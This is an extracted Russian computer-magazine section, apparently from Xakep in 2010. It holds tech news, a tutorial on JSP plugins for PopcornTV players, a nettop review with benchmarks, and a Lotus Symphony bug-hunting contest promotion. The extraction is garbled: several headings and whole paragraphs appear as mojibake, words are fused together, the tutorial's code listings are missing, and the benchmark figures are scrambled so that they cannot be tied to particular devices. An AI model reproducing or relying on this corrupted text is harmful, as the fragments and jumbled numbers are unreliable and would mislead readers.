MEGANEWSÍÅÎÁÛ×ÍÀß ÒÀÁËÅÒÊÀ ÎÒ ASUSПланшетных ПК на рынке становитсявсе больше и больше, ауж выход iPad и вовсе произвелнастоящий фурор. А как известно,чем сильнее на рынке конкуренция,тем ниже цены, и тем большешансов, что компании начнутвыпускать необычные и интересныедевайсы, желая привлечь покупателей.Тайваньская компанияAsus традиционно держит руку напульсе — на выставке ComputexAsus был представлен гаджет ASUSEee Tablet, который даже нельзяназвать планшетником в обычномпонимании этого слова. Eee Tablet— это, скорее, цифровой блокнот,построенный на TFT-матрице с 64градациями серого. Здесь нет дажеподсветки, зато есть 8-дюймовыйдисплей с разрешением 1024 x 768,тачскрин чувствительностью 2450dpi, и страницы листаются со скоростью0.1 сек. Время автономнойработы устройства равно примерно10 часам. Eee Tablet оснащаетсяслотом microSD, 2-мегапиксельнойкамерой, 3,5 мм выходом нанаушники (имеется встроенныймедиаплеер), и, конечно, стилусом,который сильно напоминает перьяот планшетов Wacom.Приятно радует и анонсированнаяцена устройства — EeeTablet обещают выпуститьв продажу осенью поцене 199-299 мертвыхпрезидентов.TWITTER.COM/KREMLINRUSSIAВ России нашлось 40 тысяч человек, которые пользуются Твиттером и решилипочитать, что в нем будет писать наш продвинутый президент. Первый же твитс ошибкой: «Всем привет! Я в Твиттере и это мое6 первое сообщение!», затооставленный в офисе самого Twitter’а. Посещение высокотехнологичных компаний(а Медведев побывал еще и в Apple и Cisco) состоялось во время поездкипрезидента в Кремниевую долину. Причина понятна: раз уж собрались строитьнашу собственную Silicon Valley в подмосковном Сколково, то надо хотя бы понять,на кого равняться. Обидно же будет, если бюджет уйдет, условия для отмыванияденег будут созданы, а ни одного достойного стартапа не появится. Инициативаправильная. Уважаемый Дмитрий Анатольевич, вы обращайтесь к нам запомощью. Мы и сами советом поможем, и ребят молодых посоветуем. А там, тогои гляди, автоматизируем поликлиники, и электронное правительство заработает.Наши читатели очень способные!128 Ãá — íîâûé ðåêîðä â îáëàñòè ïðîèçâîäñòâà ôëåø-ïàìÿòè, óñòàíîâëåííûéêîìïàíèåé Toshiba×ÅÐÅÇ ÒÐÈ ÃÎÄÀ BIOSÍÅ ÁÓÄÅÒ014Любопытными соображениями поделился с миром крупнейший производительматеринских плат Microstar (MSI). По мнению представителей «железного» гиганта,BIOS на современных компьютерах — это атавизм, который скоро должен растворитьсяв анналах истории. Замену старому доброму BIOS микростаровцы видят в UEFI-загрузчиках,которые сама MSI начала продвигать еще в 2008 году, выпустив платы с ClickBIOS на борту. UEFI (Universal Extensible Firmware Interface, Универсальный РасширяемыйИнтерфейс для Прошивок) — дальнейшее развитие проекта Intel под названиемEFI, который был предназначен для того, чтобы наделить BIOS дружественным дляпользователя интерфейсом, а также решить многие другие проблемы, типичные дляПК. Собственно, первые материнские платы с UEFI будут основаны на чипсете SandyBridge от Intel и выпущены во всех категориях: от бюджетных до high-end. Платы будутвыпущены в конце этого года и в начале 2011. Переход на UEFI становится куда болееважным, так как это открывает новые возможности для хранения данных. Не так давнокомпания Seagate официально заявила, что UEFI — важное требование для того, чтобызагрузить ПК с диска размером более 2 Тб. Основная разница между BIOS и UEFI в том,что первый написан на ассемблере, а второй на C. Но перейти на него, отказавшись отBIOS’а, не так просто. Большинство встроенных ROM довольно маловместительны, такчто обычные материнки нельзя просто перепрошить на UEFI, который занимает большеместа. К тому же, те многочисленные фишки для биоса вроде Express Gate от Asus,позволяющего загрузить простенькую ОС через пару секунд после запуска компьютера,придется переписывать заново!XÀÊÅÐ 08 /139/ 10


ÓÒÅ×ÊÀ ÑÅÊÐÅÒÍÎÉ ÈÍÔÎÐÌÀÖÈÈ Î WINDOWS 8Итальянские журналисты с портала www.windowsette.com каким-тонемыслимым образом сумели раздобыть секретные слайды Microsoft,предназначенные для внутреннего использования. Но самое главное —в презентации приведена информация о планах Microsoft по разработкеWindows 8. Большинство информации — это маркетинговая лабуда обизменении бренда и приближения к подходу Apple «Это просто работает».Однако некоторые детали о некоторых технических новшествахвсе-таки есть:1. Простое восстановление системы. В Windows появится инструментWindows Recovery, позволяющий быстро откатить недавние изменения,если пользователь что-то напортачил. Более того, появится возможность«Reset Windows, but keep my stuff», которая позволит быстропереустановить саму винду, при этом оставит без изменений документы,персональные данные, профайлы пользователей. Вероятно, появитсяи долгожданный магазин приложений App Store. Сразу после переустановкисистемы можно будет быстро заинсталлить все ранее купленныепроги.2. Быстрая загрузка Windows. Вот и Microsoft, наконец-то, заметил, чтовинда грузится до неприличия долго. Это по нынешним-то меркам.Вместо обычной текущей схемы процесса загрузки компьютера, состоящегоиз POST (часть, которую грузит материнская плата), инициализациисистемы (драйверы, сервисы) и загрузки пользовательской сессиипредлагается ввести комбинированный вариант загрузки — «Logoff +Hibernate Boot». Общий смысл в том, чтобы не выключать компьютерполностью, а постоянно использовать особый вид гибернации, котораябудет кэшировать большую часть элементов системы и быстро загружатьее.3. Новые системы авторизации. Одной из живых и понятных опций,вероятно, вставленных в слайды для каких-нибудь не сильно техническихменеджеров, является визуальная авторизация. К моменту выпускаWindows 8, а он планируется не ранее, чем через два года, большинствокомпьютеров и ноутбуков непременно будут оснащены веб-камерой.Нужно заглянуть в камеру — и программа залогинит тебя в систему. Пффф.Это уже не замашки по поводу интеллектуальной ОС WinFS, а так, пустячок,который уже сейчас можно реализовать с помощью дополнительно ПО. Нотут опять же напоминаю: никто не гарантирует, что эти слайды — не фейк.XÀÊÅÐ 08 /139/ 10 015


FERRUMДмитрий ЛенскийÊîäèíã ïîïêîðíàÓ÷èìñÿ ñîçäàâàòü ïëàãèíû äëÿ ìåäèàïëååðîâPopcornTVÈìåòü îòäåëüíûé äåâàéñ äëÿ ïðîèãðûâàíèÿHD-âèäåî — îòëè÷íàÿ èäåÿ.Âî-ïåðâûõ, îòïàäàåò âñÿêàÿ íåîáõîäèìîñòüðàçìåùàòü êîìïüþòåð ðÿäîìñ òåëåâèçîðîì è âêëþ÷àòü åãî êàæäûéðàç, êàê çàõî÷åòñÿ ïîñìîòðåòü íîâûéôèëüì. À âî-âòîðûõ, ñîâðåìåííûåHD-ïëååðû ÿâëÿþòñÿ âåñüìà ôóíêöèîíàëüíûìèóñòðîéñòâàìè è ñïîñîáíûçäîðîâî îáëåã÷èòü æèçíü.Например, практически любой полноценный HD-плеер либо по умолчанию,либо после установки кастомной прошивки способен качать торренты,работать с сетевыми ресурсами, показывать видео с Youtube и т.д. У плееровPopcornTV есть дополнительная крутая возможность, которую оценитлюбой Х-человек — под него можно самостоятельно писать плагины идаже свободно размещать их в общедоступном репозитории «МедиаБар».Кстати, сейчас компания BBK проводит конкурс: каждый автор достойногоприложения получит в подарок телевизор BBK. Так что у тебя есть хорошийшанс не только потренироваться в кодинге, но и выиграть cебе новый телек.Ãëàâíûå òåçèñûСамое главное, что нужно осознать — это то, что по своей сути «плагин»является обычным web-сайтом, адаптированным под экран телевизора.На медиаплеере Popcorn установлен специальный Linux на борту и вся визуализация«плагинов» осуществляется с помощью встроенного браузераSyabas myiBox Browser, который умеет отображать HTML-контент и дажеобеспечивает базовую (неполную) поддержку CSS и JavaScript. Считать егополноценным браузером нельзя: когда я попытался зайти с его помощьюна Яндекс, девайс ушел в нокдаун, и мне помог только ребут. Собственно,он и не для серфинга: Syabas Browser предназначен для отображенияспециально созданных под него страничек, которые и располагаются в МедиаБаре.Сайты-плагины могут разрабатываться с использованием любойтехнологии, будь то PHP, ASP .NET, Python, Ruby или JSP. Единственноеограничение — клиентская разметка: браузер даже использует собственноерасширение HTML, дополняющее стандартные теги новыми свойствами.Самый простой вариант создания «плагина» для PopcornTV выглядит так:создается HTML-файл со ссылками на медиа-источники в интернете, файлзаписывается на флешку, флешка втыкается в «Попкорн», после чего «плагин»становится доступным с пульта управления, и ты можешь его запустить,получив возможность переходить по созданным ссылкам. Например, еслиты задумал сделать приложение для прослушивания live-вещания радиостанций,код будет примерно таким:Ñåðåáðÿíûé ÄîæäüDFMТег «aod» тут указывает на то, что это аудио-источник: aod = Audio On Demand(аудио по запросу). В случае, если ты указываешь на видео- или фото-альбом,этот тег должен быть «vod» или «pod» соответственно.Ïóòü â ðåïîçèòîðèéДля разработки приложений, которые хочется разместить в МедиаБаре,путь несколько отличается: по сути, тебе нужно сделать сайт, который будетгенерировать понятную браузеру «Попкорна» HTML-разметку. Используемаятехнология может быть любой: начиная со статичных HTML-файлов изаканчивая любым популярным web-фреймворком. МедиаБар работает набазе технологии Apache Tomcat — JAVA-based веб-сервера, служащего дляработы с JSP-приложениями.Для разработки плагинов по этой технологии есть специальный SDK, которыйвключает в себя работающий пример «Медиапортала» с несколькимиплагинами и документацию разработчика.Для экспериментов по созданию новых плагинов первым делом необходимоустановить на свой компьютер Apache Tomcat, предварительноубедившись в наличии Java-машины. Все требуемые файлы присутствуютна нашем DVD, а установка достаточно проста: tomcat поставляется ввиде zip-архива, который надо просто распаковать, после чего запустить016 XÀÊÅÐ 08 /139/ 10


с помощью специального скрипта startup.bat в винде либо startup.sh в *nix. В Windowsможет потребоваться установить переменныеокружения JRE_HOME и JAVA_HOME так, чтобыони указывали на путь до Java. После запускаTomcat откроет 8080 порт (по умолчанию), накотором будет висеть веб-сервер.В составе SDK есть работающий пример медиапорталас несколькими плагинами. Чтобызапустить его, достаточно перенести папкуROOT из архива с SDK в папку tomcat\webapps,переименовав уже имеющийся там каталогприложение, которое будет показывать нашихакерские видео-уроки. Приложение будетподгружать информацию об уроках из XMLфайла,формировать «меню» для выбора роликаи давать ссылку на воспроизведение урока.Первым делом зафиксируем формат, в которомбудем хранить и передавать информацию одоступных уроках:${title}Как видишь, весь «код» тут представлен в видетегов: смешаны и знакомые тебе HTML-теги,и какие-то новые, непонятные. Эти «непонятные»входят в библиотеку тегов JSTL и отличноописаны на любом сайте по Яве.Кратко пройдемся по коду и используемымJSTL-тегам:ROOT. После этого, обратившись браузеромпо адресу http://localhost:8080, ты увидишьтестовое приложение из SDK, которое можноменять и добавлять в него новые плагины. Этиммы сейчас и займемся.Ñîáñòâåííûé ïëàãèíРазработка собственного плагина начинается ссоздания новой папки внутри каталога service.Затем нужно создать файловую структуру плагина,состоящую из следующих директорий:imageimage-1280x720pagepage-1280x720thumbxmlВсе папки имеют говорящие названия и,думаю, понятно, что в них лежит: в images —картинки проекта, в page — верстка, стили исамо приложение, в thumb — иконки плагина, вxml — данные.Обрати внимание, что верстка и графикапредставлены в двух вариантах под разныеразрешения; это необходимо для поддержкиразличных телевизоров.В качестве примера давай сделаем простоеXÀÊÅÐ 08 /139/ 10Этот файл можно сохранить под именем video.xml в папке xml, а можно хранить на удаленномсервере — никакой разницы.Идем дальше. Основной файл плагина —index.jsp, он будет входной точкой приложения.JSP-файлы представляют собой нечтоочень похожее на любой шаблонный файл:смесь HTML и управляющих тегов. Если тыкогда-нибудь создавал шаблоны для любойсистемы типа Fast Template или Smarty, то тыбыстро разберешься — тут все очень похоже.Приведу и прокомментирую сокращенныйпример index.jsp нашего приложения:• обрабатывает исключения.• считывает данные файла в переменную«xml» — обрати внимание на указаниеправильной кодировки и на то, что файл можетлегко быть размещен на удаленном сервере.• парсит XML-данные.• получает выборку данных и помещаетее в массив данных videos.• — цикл по XML-данным.• — обычное условие.Смысл кода очень и очень простой: считываетсяXML-файл, выбираются все записи«item» из «video», и в цикле по ним выводятсяобложка ролика, название ролика и ссылка напроигрывание ролика. Причем через каждые 4записи вставляются теги для переходана новую строку таблицы.Для того, чтобы твой плагин стал доступнымс главной страницы нашего тестовгомедипортала в локальном Tomcat, нужнодобавить соответствующую запись в файлportal.xml:ÐåçóëüòàòûВ результате наших манипуляций мы получилиприложение, считывающее данные одоступных роликах из XML-файла (возможно,удаленного), наглядно отображающееэти данные и предоставляющее возможностьпроигрывания этих видео. В приведенномкоде была опущена вся разметкаи заголовки JSP-файла, полная версияприложения доступна на DVD. z017


FERRUMСергей НикитинÒÅÑÒÍÅÒÒÎÏÎÂÃëàâíàÿ ôèøêà íåòòîïîâ — áåçóñëîâíî, ðàçìåð. Ïðàêòè÷åñêè ïîëíîöåííûé êîìï ââèäå êîðîáî÷êè 15õ15 ñì — ýòî ñóïåð! Òåì áîëåå, ÷òî ïðîèçâîäèòåëüíîñòü ñîâðåìåííûõíåòòîïîâ çàìåòíî âûðîñëà, è îíè îòëè÷íî ïîäõîäÿò äëÿ âåá-ñåðôèíãà, ðåäàêòèðîâàíèÿäîêóìåíòîâ, âîñïðîèçâåäåíèÿ ìóëüòèìåäèà-êîíòåíòà, âêëþ÷àÿ HD-âèäåî. Ìíîãèåóìåëüöû èñïîëüçóþò èõ äàæå äëÿ õîñòèíãà â êà÷åñòâå íåäîðîãîé àëüòåðíàòèâû VDS,ðàçìåùàÿ ñîáñòâåííûé äåâàéñ íà êîëîêåéøåíå.  îáùåì, íåòòîï — øòóêà êëåâàÿ.ÌÅÒÎÄÈÊÀ ÒÅÑÒÈÐÎÂÀÍÈßДля того, чтобы полно и всесторонне оценить представленные в тестенеттопы, мы разработали методику, в которой постарались учесть все ихособенности. На первом месте, конечно же, были разнообразные тестовыеутилиты. Так, общую производительность тестируемых устройствмы проверяли с помощью комплексного бенчмарка PCMark’05, которыйоценивает скорость работы всей системы в целом. Кроме того, мы запускали3DMark’03 и 3DMark’06 для оценки скорости работы графическойподсистемы неттопа. Для окончательного решения этого вопроса (всекогда-нибудь играют на компьютере!) мы проводили и реальный игровойтест с помощью FarCry 2. Не обошлось и без традиционных тестов:SuperPI и бенчмарка Geekbench. Кроме нагрузки на процессор и памятьони интересны еще и тем, что хорошо показывают разницу между двухиодноядерными процессорами Intel Atom. Помимо результатов тестана итоговую оценку устройств влияли и другие факторы. Это наличиеоптического привода, так как несмотря на все возможности интернета ивнешних жестких дисков никто не собирается отменять коллекции DVDи покупку лицензионных дисков. Обращали мы внимание и на установленнуюоперационную систему, так как неттоп без ОС или с пока что неочень привычной Windows 7 готов купить далеко не каждый. Еще одинкритерий, который нами строго оценивался — это шум, издаваемыйустройством.018 XÀÊÅÐ 08 /139/ 10


Pro3Q QOO!TOWER ION9400 ðóá.ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:ОС: WINDOWS 7 HOME PREMIUMПЛАТФОРМА: NVIDIA IONПРОЦЕССОР: INTEL ATOM N230, 1.6 ГГЦОЗУ: 2 ГБ DDR2 (МАКСИМУМ 3 ГБ)НАКОПИТЕЛИ: HDD 320 ГБ (5400 ОБ./МИН)ГРАФИКА: NVIDIA ION (GEFORCE 9400)ЗВУК: 2-КАНАЛЬНЫЙ REALTEK ALC662СЕТЬ: 10/100/1000 МБИТ/СРАЗЪЕМЫ: 6Х USB 2.0, RJ45, DVIКОМПЛЕКТАЦИЯ: ПОДСТАВКА, СИСТЕМА КРЕПЛЕНИЯ МОНИТОРУ,АДАПТЕР ПИТАНИЯРАЗМЕРЫ, ММ: 170X150X20ACER ASPIREREVOR3600ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ: 12000 ðóá.ОС: WINDOWS VISTA HOME PREMIUMПЛАТФОРМА: NVIDIA IONПРОЦЕССОР: INTEL ATOM 230, 1.6 ГГЦОЗУ: 2 ГБ DDR2 (МАКС. 4 ГБ)НАКОПИТЕЛИ: HDD 160 ГБ (5400 ОБ./МИН), КАРД-РИДЕР 4-В-1 (SD/SDHC/MMC/XD/MS/MS PRO)ГРАФИКА: NVIDIA ION (GEFORCE 9400)ЗВУК: REALTEK HIGH DEFINITION AUDIO 7.1СЕТЬ: NVIDIA NFORCE 10/100/1000 МБИТ/С, WI-FI 802.11B/GРАЗЪЕМЫ: 6Х USB 2.0, ESATA, RJ45, VGA (D-SUB), HDMIКОМПЛЕКТАЦИЯ: ПОДСТАВКА, СИСТЕМА КРЕПЛЕНИЯ МОНИТОРУ,АДАПТЕР ПИТАНИЯ, КЛАВИАТУРА, МЫШЬРАЗМЕРЫ, ММ: 180X180X30Небольшой неттоп от компании со смешным названием 3Q Qoo!. Производительрешил порвать с прошлым и установил на него новейшуюоперационную систему Windows 7 Home Premium, так что если ты стремишьсяко всему новому, это будет хорошей новостью. Не стоит бояться,что малыш ее не потянет, так как он построен на платформе NVIDIA IONи обладает достаточно высокой производительностью, которой хватити для воспроизведения видео HD-качества, и даже для многих вполнесовременных игр. Производительность — это тепловыделение, поэтомуустройство оснащено вентилятором, но шума от него очень мало. Имеетсяпорт DVI.Никто не спорит, что покупать в офис компьютер, который подходит длядомашнего использования — это крайне расточительно. Для него нужноспециальное устройство, такое, например, как ACER AspireRevo R3600.Несмотря на небольшие габариты (что для офиса есть только плюс) этотнеттоп построен на платформе ION от NVIDIA, что обеспечивает емудостойную скорость работы. Стоит он недорого, что, опять же, являетсяпреимуществом, причем не только для офиса. На борту (реально сбоку)имеется шесть портов USB, разъемы eSATA и HDMI, а также слот длякарты памяти. Для связи с внешним миром предусмотрены гигабитныйсетевой и Wi-Fi адаптеры. Мощную (для неттопа, конечно) системуохлаждения почти не слышно.А вот разъемом HDMI производитель свое детище не оснастил. Вентиляторнеобходим, но все-таки, если прислушаться, шум от него есть, даи греется данный неттоп довольно существенно. Отсутствие какой-либовстроенной беспроводной связи мы считаем существенным недостаткомэтой модели.XÀÊÅÐ 08 /139/ 10Конечно, неттоп этот можно не только в офис ставить. Но дома вместоустановленного здесь D-SUB хотелось бы видеть порт DVI , а такжеоптический привод. Нет тут и оптического выхода для звука. Еще одинминус — это подставка, вернее то, как на ней неттоп держится. Свалитьего можно даже неудачным движением мышки, так что будь осторожнее.019


FERRUMASROCK ION330-BDÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:ОС: НЕТПЛАТФОРМА: NVIDIA IONПРОЦЕССОР: INTEL ATOM 330, 1.6 ГГЦОЗУ: 2 ГБ DDR2 (МАКС. 4 ГБ)НАКОПИТЕЛИ: HDD 320 ГБ (5400 ОБ./МИН), BD COMBOГРАФИКА: NVIDIA ION (GEFORCE 9400)ЗВУК: REALTEK HIGH DEFINITION AUDIO 5.1СЕТЬ: NVIDIA NFORCE 10/100/1000 МБИТ/СРАЗЪЕМЫ: 6Х USB 2.0, RJ45, VGA (D-SUB), HDMI, S/PDIFКОМПЛЕКТАЦИЯ: АДАПТЕР ПИТАНИЯ, ПОДЛОЖКА ПОД КОРПУСРАЗМЕРЫ, ММ: 195Х70Х18615000 ðóá. 13000 ðóá.ASUS EEEBOXPC EB1012ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:ОС: WINDOWS 7 HOME PREMIUMПЛАТФОРМА: NVIDIA IONПРОЦЕССОР: INTEL ATOM 330, 1.6 ГГЦОЗУ: 2 ГБ DDR2 (МАКС. 4 ГБ)НАКОПИТЕЛИ: HDD 250 ГБ (5400 ОБ./МИН), КАРД-РИДЕР (SD/SDHC/MMC/MS/MS PRO)ГРАФИКА: NVIDIA ION (GEFORCE 9400)ЗВУК: REALTEK HIGH DEFINITION AUDIO 5.1СЕТЬ: NVIDIA NFORCE 10/100/1000 МБИТ/С, WI-FI 802.11B/G/NРАЗЪЕМЫ: 6Х USB 2.0, RJ45, VGA (D-SUB), HDMI, E-SATAКОМПЛЕКТАЦИЯ: КЛАВИАТУРА, МЫШКА, ПУЛЬТ ДУ, ПОДСТАВКА,СИСТЕМА КРЕПЛЕНИЯ МОНИТОРУ, АДАПТЕР ПИТАНИЯ, АНТЕННАРАЗМЕРЫ, ММ: 222X178X26.9Если ты являешься счастливым обладателем большой коллекции фильмов,музыки, фотографий, да и всего прочего, записанного на оптическиедиски, и не собираешься отказываться от носителей такого типа, — этотнеттоп создан специально для тебя.Внимание — в него встроен привод Blu-Ray, чем может похвастатьсядалеко не каждый настольный компьютер. Так что, по сути, перед намиготовый и крайне мощный видеоцентр, на что намекают и порты HDMI и S/PDIF. Естественно, кстати, что новейший оптический привод работает и состарыми CD/DVD-болванками.Для того, чтобы обеспечить ASRock ION 330-BD приемлемую цену,производитель пожертвовал комплектом поставки, которого простонет. Нет в этом компьютере и модуля беспроводной связи, что сегоднявыглядит просто моветоном.Нет и операционной системы, так что работу придется начать не спросмотра любимого фильма, а с ее установки. Да и система охлажденияшумит довольно ощутимо.020Компания ASUS остается верна своей политике — выпускать отличныеустройства, но этот девайс отличается от большинства продуктов вендораеще и вполне привлекательной ценой! Неттоп, в силу своих особенностей,отлично подойдет для домашнего использования. Он тихий, нопроизводительный, HD-видео для него — вообще не проблема, да и сомногими играми он справится. На нем установлена новейшая операционнаясистема Windows 7, есть куча различных портов на все случаижизни и модуль беспроводной связи, который поддерживает новейшийстандарт Wi-Fi IEEE 802.11n. Ну, а самое главное — это пульт дистанционногоуправления, который позволит тебе вообще не вставать с дивана!К недостаткам устройства мы отнесли отсутствие встроенного оптическогопривода, что, в общем-то, помешает тебе сделать из него мультимедиа-центр.А за внешний привод придется заплатить совсем не малыесредства.XÀÊÅÐ 08 /139/ 10


VIEWSONICVOT120 PC MiniÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:ОС: WINDOWS XP HOMEПЛАТФОРМА: INTEL 945GSEПРОЦЕССОР: INTEL ATOM N270, 1.6 ГГЦОЗУ: 1 ГБ DDR2НАКОПИТЕЛИ: HDD 160 ГБ (5400 ОБ./МИН)ГРАФИКА: INTEL 945GSEЗВУК: 2-КАНАЛЬНЫЙСЕТЬ: NVIDIA NFORCE 10/100/1000 МБИТ/С, WI-FI 802.11B/G/NРАЗЪЕМЫ: 4Х USB 2.0, RJ45, DVI, ESATAКОМПЛЕКТАЦИЯ: АДАПТЕР ПИТАНИЯ, ПОДСТАВКАРАЗМЕРЫ, ММ: 130X115X3911000 ðóá. 12000 ðóá.ZOTACMAG MAGHD-ND01-UÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:ОС: НЕТПЛАТФОРМА: NVIDIA IONПРОЦЕССОР: INTEL ATOM 330, 1,6 ГГЦОЗУ: 2 ГБ DDR2НАКОПИТЕЛЬ: HDD 160 ГБ (5400 ОБ./МИН), КАРД-РИДЕР (SD/SDHC/MMC/XD/MS/MS PRO)ГРАФИКА: NVIDIA ION (GEFORCE 9400)ЗВУК: REALTEK HIGH DEFINITION AUDIO 7.1СЕТЬ: NVIDIA NFORCE 10/100/1000 МБИТ/С, WI-FI 802.11B/G/NРАЗЪЕМЫ: 6Х USB 2.0, RJ45, VGA (D-SUB), HDMI, ESATA, S/PDIFКОМПЛЕКТАЦИЯ: ПОДСТАВКА, СИСТЕМА КРЕПЛЕНИЯ МОНИТОРУ,АДАПТЕР ПИТАНИЯРАЗМЕРЫ, ММ: 186X189X38Основное достоинство этого неттопа — его маленькие габариты; это самыйминиатюрный девайс в обзоре. Установлена на нем операционнаясистема Windows XP Home — классика, с которой работало большинствопользователей, так что привыкать ни к чему новому и переучиваться тебене придется.Для большинства классических задач, таких как веб-серфинг, прослушиваниемузыки, работа с офисными приложениями и так далее,его производительности вполне хватит. В отличие от некоторых болеегабаритных собратьев в нем установлен адаптер беспроводной связи,что является большим плюсом этой модели.Недостатки ViewSonic VOT120 PC Mini являются следствием его миниатюрныхгабаритов. Во-первых, это невысокая производительность,которой не хватит даже для воспроизведения HD-видео, не говоря уже осовременных играх. Во-вторых, это всего четыре порта USB, из которыхпосле подключения таких необходимых устройств, как клавиатура имышь, останутся свободными только два.XÀÊÅÐ 08 /139/ 10Если тебе не нравится однообразная обстановка на рабочем столе иты любишь ее регулярно менять, то ZOTAC MAG MAGHD-ND01-U — этоустройство для тебя. Он обладает аж тремя вариантами установки:вертикальным или горизонтальным на подставке, а также с помощьюVESA-приспособлений на обратную сторону монитора. Вообще, это, конечно,топовая модель, что прослеживается как в ее внешнем виде, так ив функционале, который включает в себя массу интерфейсов и встроенныйадаптер беспроводной связи.Несмотря на все плюсы у этого устройства отсутствует порт DVI, а такжеоптический привод, с которого так удобно устанавливать операционнуюсистему — ее, кстати, у данного неттопа также нет. С одной стороны, утебя будет выбор, а с другой — это все-таки минус. Дизайн устройствавесьма спорный, понравится он явно не всем.021


FERRUMSUPERPI MOD 1.5 1MZOTAC MAGViewSonic VOT120ASRock ION 330-BDASUS EeeBOX 1012ACER Aspire R36003Q Qoo ION-B23W7P92.58992.56392.76192.7692.754107.3420 20 40 60 80 100 120cНеттоп ViewSonic снова отличился не лучшим образомPCMARK’05ZOTAC MAGViewSonic VOT120ASRock ION 330-BDASUS EeeBOX 1012ACER Aspire R36003Q Qoo ION-B23W7P2133212224132574276021040 500 1000 1500 2000 2500 3000marksКоманда А: неттопы от ASUS, Acer и ASRock в лидерахFAR CRY 2ZOTAC MAGViewSonic VOT120ASRock ION 330-BDASUS EeeBOX 1012ACER Aspire R36003Q Qoo ION-B23W7P4.87.698.278.234.350 2 4 6 8 10 12fpsСовременные игры неттопы, конечно, не тянут — в лучшемслучае можно рассчитывать на 10 fps103DMARKZOTAC MAGViewSonic VOT120ASRock ION 330-BDASUS EeeBOX 1012ACER Aspire R36003Q Qoo ION-B23W7P3DMark 03116534500954158842041419401714114122111534420 500 1000 1500 2000 2500 3000 3500 4000 45003DMark 06 marksЛидеры сохранили свои позиции, а вот на устройствеViewSonic тест не пошелGEEKBENCH 2.1ZOTAC MAGViewSonic VOT120ASRock ION 330-BDASUS EeeBOX 1012ACER Aspire R36003Q Qoo ION-B23W7P7988550 200 400 600 800 1000 1200 1400 1600 1800marksВ этом тесте снова лидирует команда А. Аутсайдеры традиционно те же953118113591544ÂÛÂÎÄÛНаграду «Выбор редакции» сегодня заполучает ASRock ION 330-BD, который обладает не только высокой производительностью,но и оптическим приводом Blu-Ray. «Лучшей покупкой» становитсяASUS EeeBox PC EB1012, который недорого стоит, достаточношустро работает и комплектуется пультом дистанционногоуправления . z022XÀÊÅÐ 08 /139/ 10


codinglotus.xakep.ruX-testing сontestЖурнал Хакер представляет конкурс по поиску багов в бета-версииIBM Lotus Symphony 3. Покажи себя в деле — и выиграй поездку в СШАна конференцию Lotusphere с 17 по 21 января 2011 года!DVDНа нашем диске тебя ждетбета-версия Lotus Symphony 3для ежедневного использованияи участия в конкурсеВсе, что нужно для участия в конкурсе — установитьLotus Symphony Beta 3 и зарегистрироваться на сайтеlotus.xakep.ru. Дальше все зависит от тебя: чем большеи интересней ошибки ты найдешь, тем больше у тебяшансы выиграть крутые призы!


Стань бета-тестеромLotus SymphonyВоровать софт — плохо. Но и покупать полноценныелицензии с зашкаливающими ценниками многим банально непод силу. Единственной возможностью избежать затрат и непотерять при этом в функциональности становятся freeware иopensource приложения, в том числе офисный пакет от компанииIBM — Lotus Symphony. Развитие таких программ напрямуюзависит от активного участия комьюнити. Сейчас у тебя есть нетолько возможность попользоваться удобным приложением, но иреальный шанс сделать его лучше, отыскав ошибки и получивза это отличный приз.Если верить статистике: 80% пользователей используютне более 20% функционала пакета Microsoft Office. При этом,что вполне понятно, стоимость лицензии на пакет меньшене становится. Компания IBM, обладая штатом в 400 тыс. сотрудниковво всем мире, внимательно проанализировала эти цифры.Так появилась Lotus Symphony.Внеси свой вкладЛюбой программный продукт нуждается всерьезном бета-тестинге. Некоторые компаниипредпочитают обходиться исключительнособственными силами. Другие, иэто в основном разработчики бесплатногои открытого ПО, активно привлекаютбета-тестеров из компьюнити. Еще бы:даже самый большой отдел тестеров неможет сравниться с той армией пользователей,которые будут испытывать продуктв самых разных ситуациях. По этойпричине к нам обратились ребята из IBM,которые очень просили, чтобы именно ты,наш читатель, попробовал найти баги иИстория офисныхпродуктов Lotusошибки в бета-версии Lotus Symphony.На вопрос: «А не испугаетесь и проситьпощады не будете?», — мы получилитвердое «нет». Разве ж не хорошийповод утереть опытным программистамиз самой IBM нос, продемонстрировавпару багов? Тем более, на кону поездкав Штаты, и у тебя есть реальный шанспобедить. Короче говоря, самое времяпоковырять программу с пользой дела. Ачтобы лучше получалось, мы поделимсяс тобой парой секретов о том, как лучшевсего искать ошибки в ПО.Конечно, если продукт сырой, то различныебаги будут вылезатьв самыхразных местах, даже если не прилагатьк этому никаких усилий. Подставил гденибудьхитрое значение — программавылетела, вот тебе и промах разработчиков.Lotus Symphony — не из таких,поэтому для поиска ошибок придетсяпостараться. Естественно, вручную тестироватьто, как приложение обрабатываетте или иные ситуации и входящие данные— задача неблагодарная. Ее легко можноавтоматизировать.Первый путь — искать баги с помощьютак называемого фаззинга. Это самыйпростой способ поиска ошибок. Смыслв том, чтобы передавать в различныхместах программы намеренно некорректныезначения (очень длинные строки, специальныесимволы и т.п.) и анализироватьто, как программа наэто реагирует.1982:1983:1984:198X:1995:История Symphonyначинаетсяв далеком прошлом,когда компания LotusDevelopment Corporationпод руководствомМитча Кэпора иДжонатана Сэкса выпустиласвою первуюпрограмму для работыс электронными таблицами.Через год корпорацияанонсировала решениеLotus 1-2-3, в которомработа с таблицей и графикамивпервые былаобъединена в функционалеодного решения.Именно тогда появиласьверхняя панель дляуправления текстом,которая сейчас есть влюбом офисном пакете.Первая версия LotusSymphony включалафункционал для работыс графикой, таблицамии текстом в одном интегрированномпакете.Она стоила $695 изанимала 12 флоппидисковемкостью 360Кб.80-е были временемпервых и самых смелыхразработок программдля работы с документамии таблицами. LotusDevelopment Corporationбыла одним из самыхактивных участников процесса.Компания постоянновыпускала новыеверсии программы дляоперационных платформразных вендоров.Корпорация IBM покупаетLotus DevelopmentCorporation за круглуюсумму — $3,5млрд. В этом же годупоявляется продуктLotus SmartSuite 3.1,объединивший в интегрированнойпанелитаблицу, документ ипрезентацию. В течениеследующих лет выходятразличные его версии.


